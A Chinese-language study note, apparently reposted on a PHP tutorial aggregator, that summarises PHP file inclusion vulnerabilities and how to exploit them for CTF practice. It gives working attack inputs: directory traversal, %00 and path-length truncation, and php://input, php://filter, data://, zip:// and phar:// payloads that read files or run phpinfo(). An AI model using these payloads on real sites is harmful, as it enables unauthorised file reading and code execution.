IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 文件包含漏洞总结 -> 正文阅读

[PHP知识库]文件包含漏洞总结

文件包含漏洞总结


注:菜鸡笔记,酌情参考

原理

程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,利用文件包含的函数引入其他文件,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

危害

任意文件读取,代码注入等

##常见文件包含函数

php :


include():程序运行到了include()函数时才会包含文件,若没有包含的文件,程序依然会继续运行
require():程序一开始运行就包含文件,若没有包含的文件,则终止程序
include_once()/require_once()include_once()require_once():如文件包含被运行了,则不会运行第二次
fopen()

jsp/Servlet:

ava.io,file(),  java.io,filereader()

asp:

include  file,   include  virtual

本地包含

###一,无限制:

跨越多级目录时可以用 …/ 表示多余的目录

eg:E:\phpstudy8.1\phpstudy_pro\WWW\text.txt —> …/…/…/www.text.

目录遍历:

?file=./../../test.txt

###二,有限制:

源码:

 include($filename);>include($filename.".html");  

为了限制,强行将所包含文件加上 .html 后缀 当作html文件执行,而又因为在www下不存在text.txt.html这个文件 所以无法执行.

###绕过方法:

1,00截断:(前提php版本小于5.3.4) eg:text.txt%00.html 会解析成为text.txt 将后面的.html截断

2,长度截断:( 服务器的操作系统,不是本机的操作系统) windows,点号长度大于256 linux,点号长度大于4096

eg:text.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

点号截断:(条件:windows:长度大于256) text.txt…

远程包含

PHP的配置文件\allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(是否允许include/require远程文件)

###一,无限制:

###二,有限制:

测试代码:<?php include($_GET['filename'] . ".html"); ?>

1,问号绕过

2,#号绕过

3,用burpsuite跑一遍,寻找可绕过的

php伪协议

http://cn2.php.net/manual/zh/wrappers.php

file:///var/www/html 访问本地文件系统

ftp://<login>:<password>@<ftpserveraddress> 访问 FTP(s) URLs

data:// 数据流 http:// — 访问 HTTP(s) URLs

ftp:// — 访问 FTP(s) URLs

php:// — 访问各个输入/输出流

zlib:// — 压缩流 data:// — Data (RFC 2397)

glob:// — 查找匹配的文件路径模式

phar:// — PHP Archive

ssh2:// — Secure Shell 2

rar:// — RAR ogg:// — Audio streams

expect:// — 处理交互式的流

php://

一,php://input

作用:可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在 enctype="multipart/form-data"的时候php://input是无效的

?file=php://input POST: <? phpinfo();?>      //用POST方式写入<?php  phpinfo(); ?>

二,php://filter

?file=php://filter/read=convert.base64-encode/resource=flag.php
//以base64编码读取flag.php文件

三,php://output

作用:只写的数据流,允许以print和echo一样的方式写入到输出缓冲区

四,php://fd

作用:允许直接访问指定的文件描述符

php://fd/3      //引用文件描述符3

五,php://memory 或php://remp

作用:一个类似文件包装的数据流,允许写入临时数据,两者的唯一区别是php://memory把数据存在内存中,php://temp会在内存量达到预定义限制后(默认2mb)存入临时文件

data://

作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

条件: allow_url_include=On

? allow_url_fopen:on

?file=data:text/plain,<?php phpinfo();?>

?file=data:text/plain;base64,base64编码的payload
eg:
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
//PD9waHAgcGhwaW5mbygpOz8=base64_decode(<?php phpinfo;?>)

file://

作用:用于访问本地文件系统,在CTF中通常用来读取本地文件

条件:

allow_url_fopen:off/on
allow_url_include :off/on

用法:

file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
[http://网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

zip://& bzip2:// & zlib😕/

作用:

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

###phar://

作用:phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:

http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

参考文章

php伪协议总结_h0ld1rs的博客-CSDN博客_伪协议写入一句话

(1条消息) 文件包含漏洞原理_南人旧心1906的博客-CSDN博客_文件包含漏洞原理

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-16 12:50:44  更:2022-02-16 12:51:33 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 10:57:55-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码